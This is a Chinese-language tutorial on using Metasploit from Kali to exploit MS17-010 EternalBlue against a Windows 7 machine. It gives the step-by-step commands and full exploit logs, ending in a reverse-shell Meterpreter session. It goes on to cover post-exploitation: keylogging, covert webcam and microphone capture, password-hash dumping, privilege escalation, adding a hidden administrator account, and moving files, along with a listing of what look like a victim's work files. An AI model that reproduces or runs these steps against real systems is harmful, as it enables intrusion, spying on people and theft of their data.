1.了解kali及安装
vmware安装,用户名密码均为kali
2.metasploit是什么
3.metasploit攻击windows系统
在kali中打来终端
数据msfconsole 进入metasploit的控制终端界面
msf的使用法则:
1.使用模块
2.配置模块必选项
3.运行模块
三步操作、实现对主流漏洞的攻击。
例子:msf6 > search ms17_010
Matching Modules
================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE DetectionInteract with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010 msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The target port (TCP)SMBDomain no (Optional) The Windows domainto use for authentication. Only affects Windows Server 2008R2, Windows 7, Windows Embedded Standard 7 target machines.SMBPass no (Optional) The password for the specified usernameSMBUser no (Optional) The username to authenticate asVERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2,Windows 7, Windows Embedded Standard 7 target machines.VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,Windows Embedded Standard 7 target machines.Payload options (windows/x64/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC thread yes Exit technique (Accepted: '', seh,thread, process, none)LHOST 192.168.65.128 yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Automatic TargetView the full module info with the info, or info -d command.
使用show options 查看配置项,启动requird标注为yes的为必填项
defaulting to windows/x64/meterpreter/reverse_tcp如果不是这个 可以手动配置
set payload windows/x64/meterpreter/reverse_tcp
payload就是攻击载荷。
LHOST ip地址 代表你是谁,配置为kali的ip地址
LPORT 为listentport 代表你要在kali上开启的端口。1-65535随便找,不能是占用。
View the full module info with the info, or info -d command.msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.50.52
RHOSTS => 192.168.50.52
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10001
lport => 10001
msf6 exploit(windows/smb/ms17_010_eternalblue) > run[*] Started reverse TCP handler on 192.168.50.53:10001
[*] 192.168.50.52:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.50.52:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.50.52:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.52:445 - The target is vulnerable.
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010 74 65 20 37 36 30 30 te 7600
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010 74 65 20 37 36 30 30 te 7600
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.52
[*] Meterpreter session 1 opened (192.168.50.53:10001 -> 192.168.50.52:3071) at 2024-02-29 21:48:57 -0500
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
RHOSTS => 192.168.50.52
lport => 10001
run
最后
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
WIN表示已经入侵成功。
help查看能够使用的命令
meterpreter > helpCore Commands
=============Command Description------- -----------? Help menubackground Backgrounds the current sessionbg Alias for backgroundbgkill Kills a background meterpreter scriptbglist Lists running background scriptsbgrun Executes a meterpreter script as a background threadchannel Displays information or control active channelsclose Closes a channeldetach Detach the meterpreter session (for http/https)disable_unic Disables encoding of unicode stringsode_encodingenable_unico Enables encoding of unicode stringsde_encodingexit Terminate the meterpreter sessionget_timeouts Get the current session timeout valuesguid Get the session GUIDhelp Help menuinfo Displays information about a Post moduleirb Open an interactive Ruby shell on the current sessionload Load one or more meterpreter extensionsmachine_id Get the MSF ID of the machine attached to the sessionmigrate Migrate the server to another processpivot Manage pivot listenerspry Open the Pry debugger on the current sessionquit Terminate the meterpreter sessionread Reads data from a channelresource Run the commands stored in a filerun Executes a meterpreter script or Post modulesecure (Re)Negotiate TLV packet encryption on the sessionsessions Quickly switch to another sessionset_timeouts Set the current session timeout valuessleep Force Meterpreter to go quiet, then re-establish sessionssl_verify Modify the SSL certificate verification settingtransport Manage the transport mechanismsuse Deprecated alias for "load"uuid Get the UUID for the current sessionwrite Writes data to a channelStdapi: File system Commands
============================Command Description------- -----------cat Read the contents of a file to the screencd Change directorychecksum Retrieve the checksum of a filecp Copy source to destinationdel Delete the specified filedir List files (alias for ls)download Download a file or directoryedit Edit a filegetlwd Print local working directorygetwd Print working directorylcat Read the contents of a local file to the screenlcd Change local working directorylls List local fileslmkdir Create new directory on local machinelpwd Print local working directoryls List filesmkdir Make directorymv Move source to destinationpwd Print working directoryrm Delete the specified filermdir Remove directorysearch Search for filesshow_mount List all mount points/logical drivesupload Upload a file or directoryStdapi: Networking Commands
===========================Command Description------- -----------arp Display the host ARP cachegetproxy Display the current proxy configurationifconfig Display interfacesipconfig Display interfacesnetstat Display the network connectionsportfwd Forward a local port to a remote serviceresolve Resolve a set of host names on the targetroute View and modify the routing tableStdapi: System Commands
=======================Command Description------- -----------clearev Clear the event logdrop_token Relinquishes any active impersonation token.execute Execute a commandgetenv Get one or more environment variable valuesgetpid Get the current process identifiergetprivs Attempt to enable all privileges available to the currentprocessgetsid Get the SID of the user that the server is running asgetuid Get the user that the server is running askill Terminate a processlocaltime Displays the target system local date and timepgrep Filter processes by namepkill Terminate processes by nameps List running processesreboot Reboots the remote computerreg Modify and interact with the remote registryrev2self Calls RevertToSelf() on the remote machineshell Drop into a system command shellshutdown Shuts down the remote computersteal_token Attempts to steal an impersonation token from the targetprocesssuspend Suspends or resumes a list of processessysinfo Gets information about the remote system, such as OSStdapi: User interface Commands
===============================Command Description------- -----------enumdesktops List all accessible desktops and window stationsgetdesktop Get the current meterpreter desktopidletime Returns the number of seconds the remote user has been idlekeyboard_sen Send keystrokesdkeyevent Send key eventskeyscan_dump Dump the keystroke bufferkeyscan_star Start capturing keystrokestkeyscan_stop Stop capturing keystrokesmouse Send mouse eventsscreenshare Watch the remote user desktop in real timescreenshot Grab a screenshot of the interactive desktopsetdesktop Change the meterpreters current desktopuictl Control some of the user interface componentsStdapi: Webcam Commands
=======================Command Description------- -----------record_mic Record audio from the default microphone for X secondswebcam_chat Start a video chatwebcam_list List webcamswebcam_snap Take a snapshot from the specified webcamwebcam_strea Play a video stream from the specified webcammStdapi: Audio Output Commands
=============================Command Description------- -----------play play a waveform audio file (.wav) on the target systemPriv: Elevate Commands
======================Command Description------- -----------getsystem Attempt to elevate your privilege to that of local system.Priv: Password database Commands
================================Command Description------- -----------hashdump Dumps the contents of the SAM databasePriv: Timestomp Commands
========================Command Description------- -----------timestomp Manipulate file MACE attributesmeterpreter >
例如:
meterpreter > sysinfo
Computer : SJUN-PC
OS : Windows 7 (6.1 Build 7600).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
Core Commands
=============
Core Commands
=============Command Description------- -----------? Help menubackground Backgrounds the current sessionbg Alias for backgroundbgkill Kills a background meterpreter scriptbglist Lists running background scriptsbgrun Executes a meterpreter script as a background threadchannel Displays information or control active channelsclose Closes a channeldetach Detach the meterpreter session (for http/https)disable_unic Disables encoding of unicode stringsode_encodingenable_unico Enables encoding of unicode stringsde_encodingexit Terminate the meterpreter sessionget_timeouts Get the current session timeout valuesguid Get the session GUIDhelp Help menuinfo Displays information about a Post moduleirb Open an interactive Ruby shell on the current sessionload Load one or more meterpreter extensionsmachine_id Get the MSF ID of the machine attached to the sessionmigrate Migrate the server to another processpivot Manage pivot listenerspry Open the Pry debugger on the current sessionquit Terminate the meterpreter sessionread Reads data from a channelresource Run the commands stored in a filerun Executes a meterpreter script or Post modulesecure (Re)Negotiate TLV packet encryption on the sessionsessions Quickly switch to another sessionset_timeouts Set the current session timeout valuessleep Force Meterpreter to go quiet, then re-establish sessionssl_verify Modify the SSL certificate verification settingtransport Manage the transport mechanismsuse Deprecated alias for "load"uuid Get the UUID for the current sessionwrite Writes data to a channel
Priv: Timestomp Commands
========================
Command Description------- -----------timestomp Manipulate file MACE attributes
Priv: Password database Commands
================================
Command Description------- -----------hashdump Dumps the contents of the SAM database
Priv: Elevate Commands
======================
Command Description------- -----------getsystem Attempt to elevate your privilege to that of local system
.
Stdapi: Audio Output Commands
=============================
Command Description------- -----------play play a waveform audio file (.wav) on the target system
Stdapi: Webcam Commands
=======================
Command Description------- -----------record_mic Record audio from the default microphone for X secondswebcam_chat Start a video chatwebcam_list List webcamswebcam_snap Take a snapshot from the specified webcamwebcam_strea Play a video stream from the specified webcamm
Stdapi: User interface Commands
===============================
Command Description------- -----------enumdesktops List all accessible desktops and window stationsgetdesktop Get the current meterpreter desktopidletime Returns the number of seconds the remote user has been idlekeyboard_sen Send keystrokesdkeyevent Send key eventskeyscan_dump Dump the keystroke bufferkeyscan_star Start capturing keystrokestkeyscan_stop Stop capturing keystrokesmouse Send mouse eventsscreenshare Watch the remote user desktop in real timescreenshot Grab a screenshot of the interactive desktopsetdesktop Change the meterpreters current desktopuictl Control some of the user interface components
Stdapi: System Commands
=======================
Command Description------- -----------clearev Clear the event logdrop_token Relinquishes any active impersonation token.execute Execute a commandgetenv Get one or more environment variable valuesgetpid Get the current process identifiergetprivs Attempt to enable all privileges available to the currentprocessgetsid Get the SID of the user that the server is running asgetuid Get the user that the server is running askill Terminate a processlocaltime Displays the target system local date and timepgrep Filter processes by namepkill Terminate processes by nameps List running processesreboot Reboots the remote computerreg Modify and interact with the remote registryrev2self Calls RevertToSelf() on the remote machineshell Drop into a system command shellshutdown Shuts down the remote computersteal_token Attempts to steal an impersonation token from the targetprocesssuspend Suspends or resumes a list of processessysinfo Gets information about the remote system, such as OS
Stdapi: Networking Commands
===========================
Command Description------- -----------arp Display the host ARP cachegetproxy Display the current proxy configurationifconfig Display interfacesipconfig Display interfacesnetstat Display the network connectionsportfwd Forward a local port to a remote serviceresolve Resolve a set of host names on the targetroute View and modify the routing table
Stdapi: File system Commands
============================
Command Description------- -----------cat Read the contents of a file to the screencd Change directorychecksum Retrieve the checksum of a filecp Copy source to destinationdel Delete the specified filedir List files (alias for ls)download Download a file or directoryedit Edit a filegetlwd Print local working directorygetwd Print working directorylcat Read the contents of a local file to the screenlcd Change local working directorylls List local fileslmkdir Create new directory on local machinelpwd Print local working directoryls List filesmkdir Make directorymv Move source to destinationpwd Print working directoryrm Delete the specified filermdir Remove directorysearch Search for filesshow_mount List all mount points/logical drivesupload Upload a file or directory
用户操作:Stdapi: User interface Commands(用户接口命令)enumdesktops -->列出所有可访问的桌面和窗口站(窗体列表)
getdesktop -->得到当前的Meterpreter桌面idletime -->返回秒远程用户已经闲置数量keyscan_dump -->转储按键缓冲(下载键盘记录)
keyscan_start -->开始捕获击键(开始键盘记录)
keyscan_stop -->停止捕获击键(停止键盘记录)
screenshot -->抓取交互式桌面截图(当前操作界面截图一张)
setdesktop -->改变meterpreters当前桌面uictl -->控制一些用户界面组件(获取键盘、鼠标控制权)
使用uictl -h 查看帮助(打开/关闭,键盘/鼠标)PS:键盘记录注意点,先开始,后下载,再结束,否则会出错摄像头:Stdapi: Webcam Commands(摄像头命令)record_mic -->X秒从默认的麦克风record_mic音频记录(音频录制)webcam_chat -->开始视频聊天(视频,对方会有弹窗)webcam_list -->单摄像头(查看摄像头列表)
webcam_snap -->采取快照从指定的摄像头(摄像头拍摄一张照片)webcam_stream -->播放视频流从指定的摄像头(开启摄像头监控)其他命令操作getsystem -->获取高权限hashdump -->获取当前用户hash
例子:创建后门用户并开启远程连接
shell
net user zhangsan 123456 /add
net localgroup administrators zhangsan /add
在攻陷的机器上添加用户zhangsan密码为123456 并且把张三的用户加入到管理员组。
exit退出
screenshot 来进行截图屏幕
meterpreter > webcam_snap
->采取快照从指定的摄像头(摄像头拍摄一张照片)
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/Desktop/rJfZoIoR.jpeg
meterpreter > webcam_stream
-->播放视频流从指定的摄像头(开启摄像头监控)
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/kali/Desktop/wViPebHU.html
[*] Streaming...
^CInterrupt
[-] webcam_stream: Interrupted
meterpreter > Interrupt: use the 'exit' command to quit
查看文件meterpreter > dir d:/
Listing: d:/
============Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2023-05-18 23:55:43 -0400 $QAXHoneypot
040777/rwxrwxrwx 0 dir 2022-07-26 03:39:58 -0400 $RECYCLE.BIN
040777/rwxrwxrwx 0 dir 2023-05-16 04:32:30 -0400 Program Files
040777/rwxrwxrwx 4096 dir 2023-12-21 20:19:47 -0500 Program Files (x86)
040777/rwxrwxrwx 0 dir 2023-05-18 23:12:52 -0400 QAXDownload
040777/rwxrwxrwx 0 dir 2018-03-22 23:27:06 -0400 System Volume Information
100666/rw-rw-rw- 14141 fil 2020-08-05 03:14:06 -0400 ZB-SAN-SW-24.xlsx
100666/rw-rw-rw- 18077 fil 2021-06-14 02:09:44 -0400 ZB-交换机端口映射.xlsx
040777/rwxrwxrwx 12288 dir 2023-05-18 23:54:46 -0400 tools工具
040777/rwxrwxrwx 4096 dir 2020-04-29 02:55:45 -0400 个人文件
100666/rw-rw-rw- 15818 fil 2021-12-23 01:39:22 -0500 容灾IP地址分配.xlsx
040777/rwxrwxrwx 4096 dir 2023-05-18 23:55:02 -0400 封存项目
040777/rwxrwxrwx 4096 dir 2023-05-18 23:56:14 -0400 工作区域
meterpreter > cat c:/1.txt 查看文件内容
123
meterpreter >
meterpreter > mkdir d:\ly 创建目录
Creating directory: d:ly
2.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops #用户登录数1)下载文件
使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件
(2)上传文件
“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。
(3)查看文件
“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。
(4)切换、查询当前路径
“pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。